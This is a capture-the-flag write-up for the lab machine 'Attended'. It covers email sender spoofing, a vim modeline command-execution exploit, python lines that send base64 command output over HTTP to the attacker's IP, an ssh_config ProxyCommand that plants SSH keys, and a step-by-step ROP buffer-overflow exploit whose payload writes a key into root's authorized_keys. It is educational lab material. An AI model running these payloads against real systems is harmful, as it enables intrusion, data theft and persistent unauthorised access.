Attended

Attended was on of the hardest box I ever even touched. It helped me to improve my pwn skills a lot so it's 100% worth it.

Recon

There are only 2 ports opened on the host, 25 (smtp), and 22 (ssh)

Let's setup an smtp server and see if we get an answer from any user. I use FakeSMTP:

Nilhcem/FakeSMTPDummy SMTP server with GUI for testing emails in applications easily. - Nilhcem/FakeSMTPgithub.com

After striking my head against the wall a bit, I decided to mail the creators of the box :).

swaks --to guly@attended.htb --from _0xten@secret.com 

I first tried guly and got the following response:

        Mon, 03 May 2021 17:18:04 -0400 (EDT)
Received: from attended.htb (attended.htb [192.168.23.2])
	by attendedgw.htb (Postfix) with ESMTP id 7560E32CCF
	for <_0xten@10.10.14.27>; Mon,  3 May 2021 23:22:50 +0200 (CEST)
Content-Type: multipart/alternative;
 boundary="===============8290742098115745222=="
MIME-Version: 1.0
Subject: Re: test Mon, 03 May 2021 17:16:04 -0400
From: guly@attended.htb

--===============8290742098115745222==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

hello, thanks for writing.
i'm currently quite busy working on an issue with freshness and dodging any email from everyone but him. i'll get back in touch as soon as possible.


---
guly

OpenBSD user since 1995
Vim power user

/"\ 
\ /  ASCII Ribbon Campaign
 X   against HTML e-mail
/ \  against proprietary e-mail attachments

--===============8290742098115745222==--

Saying he's busy with freshness (the other co-creator of attended). At this point I thought that maybe mailing guly prettending to be freshness might result in a different response

swaks --to guly@attended.htb --from freshness@attended.htb

, and as expected

        Tue, 02 Mar 2021 07:13:02 -0500 (EST)
Received: from attended.htb (attended.htb [192.168.23.2])
	by attendedgw.htb (Postfix) with ESMTP id 5803732CCF
	for <freshness@10.10.15.10>; Tue,  2 Mar 2021 13:22:33 +0100 (CET)
Content-Type: multipart/alternative;
 boundary="===============3652242623055986180=="
MIME-Version: 1.0
Subject: Re: test Tue, 02 Mar 2021 07:11:59 -0500
From: guly@attended.htb

--===============3652242623055986180==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

hi mate, could you please double check your attachment? looks like you forgot to actually attach anything :)

p.s.: i also installed a basic py2 env on gw so you can PoC quickly my new outbound traffic restrictions. i think it should stop any non RFC compliant connection.


---
guly

OpenBSD user since 1995
Vim power user

/"\ 
\ /  ASCII Ribbon Campaign
 X   against HTML e-mail
/ \  against proprietary e-mail attachments

--===============3652242623055986180==--

After reading this, I tried sending and email with an attachment:

swaks --to guly@attended.htb --from freshness@attended.htb --attach dummy.txt

and we got a third response:

        Tue, 02 Mar 2021 07:28:03 -0500 (EST)
Received: from attended.htb (attended.htb [192.168.23.2])
	by attendedgw.htb (Postfix) with ESMTP id 3229A32CCF
	for <freshness@10.10.15.10>; Tue,  2 Mar 2021 13:37:35 +0100 (CET)
Content-Type: multipart/alternative;
 boundary="===============4711056454254821347=="
MIME-Version: 1.0
Subject: Re: test Tue, 02 Mar 2021 07:27:18 -0500
From: guly@attended.htb

--===============4711056454254821347==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

thanks dude, i'm currently out of the office but will SSH into the box immediately and open your attachment with vim to verify its syntax.
if everything is fine, you will find your config file within a few minutes in the /home/shared folder.
test it ASAP and let me know if you still face that weird issue.


---
guly

OpenBSD user since 1995
Vim power user

/"\ 
\ /  ASCII Ribbon Campaign
 X   against HTML e-mail
/ \  against proprietary e-mail attachments

--===============4711056454254821347==--

From all these emails we can extract a few infos:‌

  • Guly expects an attachment from freshness

  • He'll open it with vim

  • We have python2 on the system

  • There are outbound traffic restrictions

  • The attachment is a config file (likely ssh)

  • The freshness user will test the config file in /home/shared

So our attack chain would likely be the following:‌

send a malicious attachment to get code execution -> Bypass traffic restrictions via data exfiltration -> Create a malicious ssh_config file -> Finally login as a user and work our way from there‌

Of course that wasn't my fist guess, it was actually the result of many frustrated attempts.‌

Vim

Searching for vim CVEs this one seems the most promissing one:

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

So I tried sending an attachment that would make the host ping my box, which seems the most reasonable test since there are traffic restrictions on the target

:!ping -c1 10.10.15.10||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

And it works!‌

After playing around a bit with the exploit I tried to exfiltrate data via http using python2 (at this point I was praying for the request lib to available on the host).‌

Here is the first thing I sent:

:!python2 -c "import requests,base64,subprocess;requests.get('http://10.10.15.10/'+base64.b64encode(subprocess.check_output('ls -la',shell=True)))"||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

And listened on port 80. This will retreive the base64 encoded output of the command, After decoding it we get:

total 60
drwxr-x---  4 guly  guly    512 May  3 23:16 .
drwxr-xr-x  5 root  wheel   512 Jun 26  2019 ..
-rw-r--r--  1 guly  guly     87 Apr 13  2019 .Xdefaults
-rw-r--r--  1 guly  guly    771 Apr 13  2019 .cshrc
-rw-r--r--  1 guly  guly    101 Apr 13  2019 .cvsrc
-rw-r--r--  1 guly  guly    359 Apr 13  2019 .login
-rw-r--r--  1 guly  guly    175 Apr 13  2019 .mailrc
-rw-r--r--  1 guly  guly    215 Apr 13  2019 .profile
drwx------  2 root  wheel   512 Jun 26  2019 .ssh
-rw-------  1 guly  guly      0 Dec 15 17:05 .viminfo
-rw-r-----  1 guly  guly     13 Jun 26  2019 .vimrc
-rwxrwxrwx  1 root  guly   6789 Dec  4 09:07 gchecker.py
-rw-------  1 guly  guly      0 May  3 23:16 mbox
drwxr-xr-x  2 guly  guly    512 Jun 26  2019 tmp

​‌

The tmp folder inside guly's home seems interesting...

total 32
drwxr-xr-x  2 guly  guly    512 Jun 26  2019 .
drwxr-x---  4 guly  guly    512 May  3 23:17 ..
-rwxr-x---  1 guly  guly  12288 Jun 26  2019 .config.swp

It contains a vim swap of a config file, this will possibly hint us on how our malicious config must look like.‌

This is not simply ascii text so use strings instead of cat.

  ServerAliveInterval 60
  TCPKeepAlive yes
  ControlPersist 4h
  ControlPath /tmp/%r@%h:%p
  ControlMaster auto
  User freshness
Host *

This confirms my theory that we need to drop a config file at /home/shared and it will be used as a ssh_config file. We can execute commands whenever our config file is used by abusing some special configurations such as ProxyCommand.‌

If we create a /home/shared/config file with ProxyCommand to write a ssh key to authorized_keys we might be able to login as freshness.

Host *
    User freshness
    ControlMaster auto
    ControlPath /tmp/%r@%h:%p
    ControlPersist 4h
    TCPKeepAlive yes
    ServerAliveInterval 60
    ProxyCommand echo ssh-ed25519 AAAAC3[...]qEUi > /home/freshness/.ssh/authorized_keys

This is the config file I used.‌

We can try to write it with the above attachment and then we wait for freshness to test it.

!python2 -c "import requests,base64,subprocess;requests.get('http://10.10.14.27/'+base64.b64encode(subprocess.check_output('echo \'Host *\n    User freshness\n    ControlMaster auto\n    ControlPath /tmp/\%r@\%h:\%p\n    ControlPersist 4h\n    TCPKeepAlive yes\n    ServerAliveInterval 60\n    ProxyCommand echo ssh-ed25519 AAAAC3[...]qEUi > /home/freshness/.ssh/authorized_keys\' >> /home/shared/config; cat /home/shared/config',shell=True)))"||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

And finally this works and we can login with ssh.

So far so good. Pretty nice warm up, now let's get to the really crazy part...‌

Authkeys

There is a note.txt file at /home/freshness/authkeys:

on attended:
[ ] enable authkeys command for sshd
[x] remove source code
[ ] use nobody
on attendedgw:
[x] enable authkeys command for sshd
[x] remove source code
[ ] use nobody

And also an ELF executable file called authkeys.‌

The note suggests that there is another host in the network. Reading /etc/hosts confirms that:

127.0.0.1	localhost
::1		localhost
192.168.23.2	attended.attended.htb attended
192.168.23.1	attendedgw.attended.htb attendedgw

The term "Authkeys" rings a bell, there is a configuration that can be set on sshd_config to process data received from private/public key authentication on ssh. Reading /etc/ssh/sshd_config we see the following lines:

#AuthorizedKeysCommand /usr/local/sbin/authkeys %f %h %t %k
#AuthorizedKeysCommandUser root

Those are commented out but from the note we can assume that they aren't on attendedgw.‌

Attendedgw isn't listening on port 22, so the natural thing is to test 2222 instead, which confirms ssh is listening, but running a portscan is also an option.‌

Now let's try to understand the arguments passed to the authkeys program. sshd_config(5) - OpenBSD manual pagesman.openbsd.org

Reading the documentation we can easily understand what %f %h %t %k are:

TOKENS
Arguments to some keywords can make use of tokens, which are expanded at runtime:

%%
A literal ‘%’.
%D
The routing domain in which the incoming connection was received.
%F
The fingerprint of the CA key.
%f
The fingerprint of the key or certificate.
%h
The home directory of the user.
%i
The key ID in the certificate.
%K
The base64-encoded CA key.
%k
The base64-encoded key or certificate for authentication.
%s
The serial number of the certificate.
%T
The type of the CA key.
%t
The key or certificate type.
%U
The numeric user ID of the target user.
%u
The username.

Testing with the following parameters we can see that there is a buffer overflow on the %k parameter (The base64 encoded public key):

./authkeys SHA256:n/aWYVFoUcXYWaCdwdrWILyNe+0MSvNsJcrGUJIw9lU /home/freshness/.ssh ssh-rsa YWFh[...]YWFhYQ==
Evaluating key...
Bus error (core dumped)

Opening the binary on gdb on a openbsd vm and setting a ton of base64 encoded A's as our %k argument we can overwrite the rsp register to whatever we want and start work on a rop chain:

rax            0x0	0
rbx            0xffffffffffffffff	-1
rcx            0x0	0
rdx            0x6161616161616161	7016996765293437281
rsi            0x0	0
rdi            0x0	0
rbp            0x7f7ffffea500	0x7f7ffffea500
rsp            0x7f7ffffea4f8	0x7f7ffffea4f8
r8             0x7f7ffffeaf7c	140187732455292
r9             0x7f7ffffea893	140187732453523
r10            0x7f7ffffea1f0	140187732451824
r11            0x1616161616161610	1591483802437686800
r12            0x7f7ffffea6a2	140187732453026
r13            0x0	0
r14            0x0	0
r15            0x0	0
rip            0x40036b	0x40036b
eflags         0x10246	66118
cs             0x2b	43
ss             0x23	35
ds             0x23	35
es             0x23	35
fs             0x23	35
gs             0x23	35
(gdb) x/gx $rsp
0x7f7ffffea4f8:	0x6161616161616161

Before that we must consider that we'll send a private key that will then be converted to a public key, so thinking of the crafting of the key before building an exploit will prevent us from doing some extra work to adapt our padding to the correct format.‌

SSH-RSA

RSA (cryptosystem) - Wikipediaen.wikipedia.org

We know how RSA keys are built, now we have to think on how to make a private key that will produce a public key containing our payload. A RSA key is composed by p, q, n and e where p and q are any two prime numbers, n is the product of those two and e is an integer such that 1 < e < phi and gcd(e, phi) = 1; that is, e and phi are coprime.‌

So the value we have most control over and is present in both the private and the public key is e.‌

Let's make that e = our payload, p = a very large prime, q = another very large prime, n = p*q, phi = (p-1)*(q-1), this is the famous Euler totient function. To generate a private key we also need to find d, which is the modular multiplicative inverse of e modulo phi, and the crt_coef, which is the modular multiplicative inverse of p modulo q.‌

The last thing we must care about is that our payload (e) needs to be coprime to phi, so we can add a few bytes at the end and only modify those, so our payload will keep the same. I'll be using sagemath, which basically let's you run python with crazy alegebra functions.

SageMath Mathematical Software System - SageSageMath is a free and open-source mathematical software system.www.sagemath.org

Now show me the code!

# Definitions
e = 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000000000000000

p = 12404736742956334104048739740543781491387397925357666314393547398793990104049147280960606378099168493978156483394776197735758036630616576101704741271667061
q = 8606776466136541733893490508345546407164354378988272245974715524609469554972533654953396144138389065496004349155417300105606877160037374530561063507312721
n = p*q
phi = (p-1)*(q-1)

Here are our first definitions, now we need to use an algoritm to modifly the last few bytes of e until we hit a coprime to phi:

# Definitions
e = 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000000000000000
p = 12404736742956334104048739740543781491387397925357666314393547398793990104049147280960606378099168493978156483394776197735758036630616576101704741271667061
q = 8606776466136541733893490508345546407164354378988272245974715524609469554972533654953396144138389065496004349155417300105606877160037374530561063507312721
n = p*q
phi = (p-1)*(q-1)
crt_coef = inverse_mod(p, q)

# e coprime to phi
_e = e
for i in range(1, 2**(8*4), 2):
	__e = _e + i
	if gcd(phi, __e) == 1:
		e = __e
		break

I'm using the gcd(phi, e) = 1 condition I mentioned before to confirm that e is good to go. The reason for my range to be 1, 2e16 is that 2e16 is the biggest possible number that would perfectly fit the bytes we freed by adding 8 null bytes to the end of our payload.‌

Now we want to calculate our inverses.

# Definitions
e = 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000000000000000
p = 12404736742956334104048739740543781491387397925357666314393547398793990104049147280960606378099168493978156483394776197735758036630616576101704741271667061
q = 8606776466136541733893490508345546407164354378988272245974715524609469554972533654953396144138389065496004349155417300105606877160037374530561063507312721
n = p*q
phi = (p-1)*(q-1)
crt_coef = inverse_mod(p, q)

# e coprime to phi
_e = e
for i in range(1, 2**(8*4), 2):
	__e = _e + i
	if gcd(phi, __e) == 1:
		e = __e
		break

# Find d
d = inverse_mod(e, phi)

And we can finally build a key!

from Crypto.PublicKey import RSA
import os

# Definitions
e = 0x4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000000000000000
p = 12404736742956334104048739740543781491387397925357666314393547398793990104049147280960606378099168493978156483394776197735758036630616576101704741271667061
q = 8606776466136541733893490508345546407164354378988272245974715524609469554972533654953396144138389065496004349155417300105606877160037374530561063507312721
n = p*q
phi = (p-1)*(q-1)
crt_coef = inverse_mod(p, q)

# e coprime to phi
_e = e
for i in range(1, 2**(8*4), 2):
	__e = _e + i
	if gcd(phi, __e) == 1:
		e = __e
		break

# Find d
d = inverse_mod(e, phi)

# Build Key
rsa_params = (int(n), int(e), int(d), int(p), int(q), int(crt_coef))


key = RSA.construct(rsa_params ,consistency_check=False).exportKey().decode()

# Write key file
if os.path.isfile('ropkey.pem'):
	os.unlink('ropkey.pem')

with open('ropkey.pem', 'w') as f:
	f.write(key)

os.popen('chmod 400 ropkey.pem')

Now let's extract our public key and test it on gdb to see if our overflow works as expected.

I first tried 850 A's as padding and we can see that we wrote 81 bytes after rsp, so now we just need to reajust that to be 761 A's + 8 B's to see if wee can perfectly overwrite rsp.

(gdb) x/100gx $rsp
0x7f7fffff4928:	0x4141414141414141	0x4141414141414141
0x7f7fffff4938:	0x4141414141414141	0x4141414141414141
0x7f7fffff4948:	0x4141414141414141	0x4141414141414141
0x7f7fffff4958:	0x4141414141414141	0x4141414141414141
0x7f7fffff4968:	0x4141414141414141	0x4141414141414141
0x7f7fffff4978:	0x4141414141414141	0x0000000000000041

It works, the rsp value is overwritten an on the first return after the overflow it changes rip to bbbbbbbb which means we can start building our rop chain.‌

ROP

Using ropper to search for useful gadgets we can see that we can probably make a syscall. Also keep in mind that the user data is stored in the data section before being written onto the stack, which is good since there is no PIE, so we can store arguments we might want to use there, making ROP easier.

0x00000000004003c1: add al, ch; or byte ptr [rax], al; add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall; 
0x00000000004003c6: add byte ptr [rax + 1], bh; xor rdi, rdi; syscall; 
0x00000000004003c6: add byte ptr [rax + 1], bh; xor rdi, rdi; syscall; ret; 
0x00000000004003c4: add byte ptr [rax], al; add byte ptr [rax + 1], bh; xor rdi, rdi; syscall; 
0x00000000004003c4: add byte ptr [rax], al; add byte ptr [rax + 1], bh; xor rdi, rdi; syscall; ret; 
0x00000000004003c0: add byte ptr [rax], al; call 0x3cf; mov eax, 1; xor rdi, rdi; syscall; 
0x00000000004003c5: add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall; 
0x00000000004003c5: add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall; ret; 
0x00000000004003ca: add byte ptr [rax], al; xor rdi, rdi; syscall; 
0x00000000004003ca: add byte ptr [rax], al; xor rdi, rdi; syscall; ret; 
0x00000000004003c8: add dword ptr [rax], eax; add byte ptr [rax], al; xor rdi, rdi; syscall; 
0x00000000004003c8: add dword ptr [rax], eax; add byte ptr [rax], al; xor rdi, rdi; syscall; ret; 
0x00000000004003c2: call 0x3cf; mov eax, 1; xor rdi, rdi; syscall; 
0x00000000004003c2: call 0x3cf; mov eax, 1; xor rdi, rdi; syscall; ret; 
0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall; 
0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall; ret; 
0x00000000004003c3: or byte ptr [rax], al; add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall; 
0x00000000004003c3: or byte ptr [rax], al; add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall; ret; 
0x00000000004003cd: xor edi, edi; syscall; 
0x00000000004003cd: xor edi, edi; syscall; ret; 
0x00000000004003cc: xor rdi, rdi; syscall; 
0x00000000004003cc: xor rdi, rdi; syscall; ret; 
0x00000000004003cf: syscall; 
0x00000000004003cf: syscall; ret;

Our challenge now is to control rax, rdi, rsi and rdx. rax will be the syscall number; we want it to be 59, which is execve() on openbsd; rdi needs to be "/bin/sh", that string is obviously not available on the program but we can put it on our padding; rsi needs to be a pointer to an array of arguments and finally rdx is an optional argument that we want to be null.‌

RAX

Looking for gadgets to control rax anything that helps manipulating rax, eax, ax or al is useful since those are all the same register but each one allows controling a different amount of bytes.

x64 Architecture - Windows driversx64 Architecturedocs.microsoft.com

Two gadget can be chained to change rax to whatever we want‌

000000000400370: shr eax, 1; ret;

and‌

0x000000000040036d: not al; adc cl, 0xe8; ret;

At the moment of the crash rax is set to 0x0, shr (shift right) moves all bytes to the right and not swaps 0's and 1's.‌

With all we can control 8 bits so:‌

00000000 --> not --> 11111111

And for each shift we move everything to the right so:‌

1111111 --> shr --> 0111111

If we want to go from 0 to 59 we need the following operations:‌

00000000 --> not --> 11111111 1111111 --> shr --> 0111111 0111111 --> shr --> 0011111 0011111 --> not --> 1100000 1100000 --> shr --> 01100000 01100000 --> not --> 10011111 10011111 --> shr --> 01001111 01001111 --> shr --> 00100111 00100111 --> shr --> 00010011 00010011 --> not --> 11101100 11101100 --> shr --> 01110110 01110110 --> shr --> 00111011

Now let's start developing an exploit to change rax to 59:

#!/usr/bin/env python3
from pwn import *

# Junk
junk = 761*b'A'

# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)

# Payload
payload = junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax #last gadget is just a dummy so far

print(payload.hex())

The above code creates our rop chain, if we feed it to the key generator and test our exploit we successfully changed rax to 59:

(gdb) i r
rax            0x3b	59

now we can move on to the next registers.‌

RDI/RSI/RDX

There is also a chain of gadgets that allow us to control rsi and, as we'll see later on, also control rdi and rdx.‌

0x000000000040036a: pop rdx; ret;

Let's us easily change the value of rdx.‌

000000000040037b: movss xmm0, dword ptr [rdx];

Copies a dword pointer from rdx to xmm0.‌

0x0000000000400380: cvtss2si esi, xmm0; ret;

Converts a float from xmm0 and stores the result on esi.‌

And finally:‌

0x0000000000400367: mov rdi, rsi; pop rdx; ret;

Copies rsi to rdi‌

cvtss2si expects a float value and movss expects a dword pointer. We want rdi to be "/bin/sh", so we store that value in memory by modifying our padding. Then we need to store a pointer to that address as a float value because it will be converted back afterwards. Finally we just pop rdi with that value's address‌

Let's take it slow and start by checking where "/bin/sh" is written to:

#!/usr/bin/env python3
from pwn import *

# Junk
#junk = 761*b'A'
junk = 753*b'A'

# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
bin_sh = b'/bin/sh\x00'

# Payload
payload = bin_sh
payload += junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax #last gadget is just a dummy so far

print(payload.hex())

First we consult the vaddr of a memory section out payload overwrote:

>> rabin2 -z pwn/authkeys
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00001000 0x00601000 189 190  .data   ascii Too bad, Wrong number of arguments!\nEvaluating key...\nSorry, this damn thing is not complete yet. I'll finish asap, promise!\nABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

And inspect that address (and the next few ones) in gdb:

0x6010c0:	0x2d68737307000000	0x2f61030000617372
0x6010d0:	0x410068732f6e6962	0x4141414141414141
0x6010e0:	0x4141414141414141	0x4141414141414141

This reveals we are one byte off, we can try to fix this by adding a sigle byte before our string.

0x6010d0:	0x0068732f6e69622f	0x4141414141414141
0x6010e0:	0x4141414141414141	0x4141414141414141

And now our string is perfectly written to 0x6010d0. Now we need to create a convert 0x6010d0 to a floar value and also store it in memory.‌

One simple way of doing this is using: Hexadecimal to Decimal ConverterHexadecimal to decimal converter helps you to calculate decimal value from a hex number up to 16 characters length, and hex to dec conversion table.www.binaryhexconverter.com

And Floating Point to Hex Convertergregstoll.com

We first convert our address and convert it to a integer and feed it to the float to hex converter.

So the float value in hex will be 0x4ac021a0, which we'll store in the memory.

#!/usr/bin/env python3
from pwn import *

# Junk
#junk = 761*b'A'
junk = 744*b'A'

# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
bin_sh = b'/bin/sh\x00'
bin_sh_addr_float = p64(0x4ac021a0)

# Payload
payload = b'A'
payload += bin_sh
payload += bin_sh_addr_float
payload += junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax #last gadget is just a dummy so far

print(payload.hex())

Now we should also see our float value in the data section.

0x6010d0:	0x0068732f6e69622f	0x000000004ac021a0
0x6010e0:	0x4141414141414141	0x4141414141414141

Now we just have to pop rdx with 0x6010d0 and throw in the gadgets that were mentioned before:

#!/usr/bin/env python3
from pwn import *

# Junk
#junk = 761*b'A'
junk = 744*b'A'
#junk = 736*b'A'

# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
bin_sh = b'/bin/sh\x00'
bin_sh_addr_float = p64(0x4ac021a0)
bin_sh_addr_float_addr = p64(0x6010d8)
bin_sh_addr_float_addr_addr = p64(0x6010e0)
pop_rdx = p64(0x000000000040036a)
movss_xmm0_dword_ptr_rdx = p64(0x000000000040037b)
cvtss2si_esi_xmm0 = p64(0x0000000000400380)
mov_rdi_rsi = p64(0x0000000000400367)

# Payload
payload = b'A'
payload += bin_sh
payload += bin_sh_addr_float
payload += junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += pop_rdx
payload += bin_sh_addr_float_addr
payload += movss_xmm0_dword_ptr_rdx
payload += cvtss2si_esi_xmm0
payload += mov_rdi_rsi

print(payload.hex())

At this point we can start writing our array of arguments to the data section. argv[0] is the name of the program, so also "/bin/sh", argv[1] will be "-c", and argv[2] can be any command we want. Our command can be, for example:

mkdir /root/.ssh; echo "{your public key}" > /root/.ssh/authorized_keys

With the following code:

#!/usr/bin/env python3
from pwn import *

# Junk
#junk = 761*b'A'
#junk = 744*b'A'
junk = 600*b'A'
#junk = 736*b'A'

# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
bin_sh = b'/bin/sh\x00'
bin_sh_addr_float = p64(0x4ac021a0)
bin_sh_addr_float_addr = p64(0x6010d8)
bin_sh_addr_float_addr_addr = p64(0x6010e0)
pop_rdx = p64(0x000000000040036a)
movss_xmm0_dword_ptr_rdx = p64(0x000000000040037b)
cvtss2si_esi_xmm0 = p64(0x0000000000400380)
mov_rdi_rsi = p64(0x0000000000400367)

# /bin/sh args
arg1 = b'-c'.ljust(8, b'\x00') # -c
arg2 = b'mkdir /root/.ssh; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleIY99tS9NgpR7d8bXCTKeyLqPU56qLH7Cc89uqEUi" > /root/.ssh/authorized_keys'.ljust(136, b'\x00')
print(len(arg2))

# /bin/sh arg addresses

# Payload
payload = b'A'
payload += bin_sh
payload += bin_sh_addr_float
payload += arg1
payload += arg2
payload += junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += pop_rdx
payload += bin_sh_addr_float_addr
payload += movss_xmm0_dword_ptr_rdx
payload += cvtss2si_esi_xmm0
payload += mov_rdi_rsi

print(payload.hex())

We can see our arguments in the data section:

0x6010d0:	0x0068732f6e69622f	0x000000004ac021a0
0x6010e0:	0x000000000000632d	0x722f207269646b6d
0x6010f0:	0x6873732e2f746f6f	0x22206f686365203b
0x601100:	0x353264652d687373	0x4141414120393135
0x601110:	0x6c3143617a4e3343	0x3545544e3149445a
0x601120:	0x656c424941414141	0x4e39537439395949
0x601130:	0x5862386437527067	0x50714c79654b5443
0x601140:	0x4337484c71363555	0x6955457175393863
0x601150:	0x6f6f722f203e2022	0x612f6873732e2f74
0x601160:	0x657a69726f687475	0x00007379656b5f64

Now all we need to do is assign pointers to each of those arguments in an array.‌

With the following code we can write our array of pointers to each of our arguments:

#!/usr/bin/env python3
from pwn import *

# Junk
#junk = 761*b'A'
#junk = 744*b'A'
#junk = 600*b'A'
junk = 568*b'A'
#junk = 736*b'A'

# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
bin_sh = b'/bin/sh\x00'
bin_sh_addr_float = p64(0x4ac021a0)
bin_sh_addr_float_addr = p64(0x6010d8)
bin_sh_addr_float_addr_addr = p64(0x6010e0)
pop_rdx = p64(0x000000000040036a)
movss_xmm0_dword_ptr_rdx = p64(0x000000000040037b)
cvtss2si_esi_xmm0 = p64(0x0000000000400380)
mov_rdi_rsi = p64(0x0000000000400367)
zero = p64(0x0)

# /bin/sh args
arg1 = b'-c'.ljust(8, b'\x00') # -c
arg2 = b'mkdir /root/.ssh; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleIY99tS9NgpR7d8bXCTKeyLqPU56qLH7Cc89uqEUi" > /root/.ssh/authorized_keys'.ljust(136, b'\x00')
print(len(arg2))

# /bin/sh arg addresses
arg0_addr = p64(0x6010d0)
arg1_addr = p64(0x6010e0)
arg2_addr = p64(0x6010e8)

# Payload
payload = b'A'
payload += bin_sh
payload += bin_sh_addr_float
payload += arg1
payload += arg2
payload += arg0_addr
payload += arg1_addr
payload += arg2_addr
payload += zero
payload += junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += pop_rdx
payload += bin_sh_addr_float_addr
payload += movss_xmm0_dword_ptr_rdx
payload += cvtss2si_esi_xmm0
payload += mov_rdi_rsi

print(payload.hex())

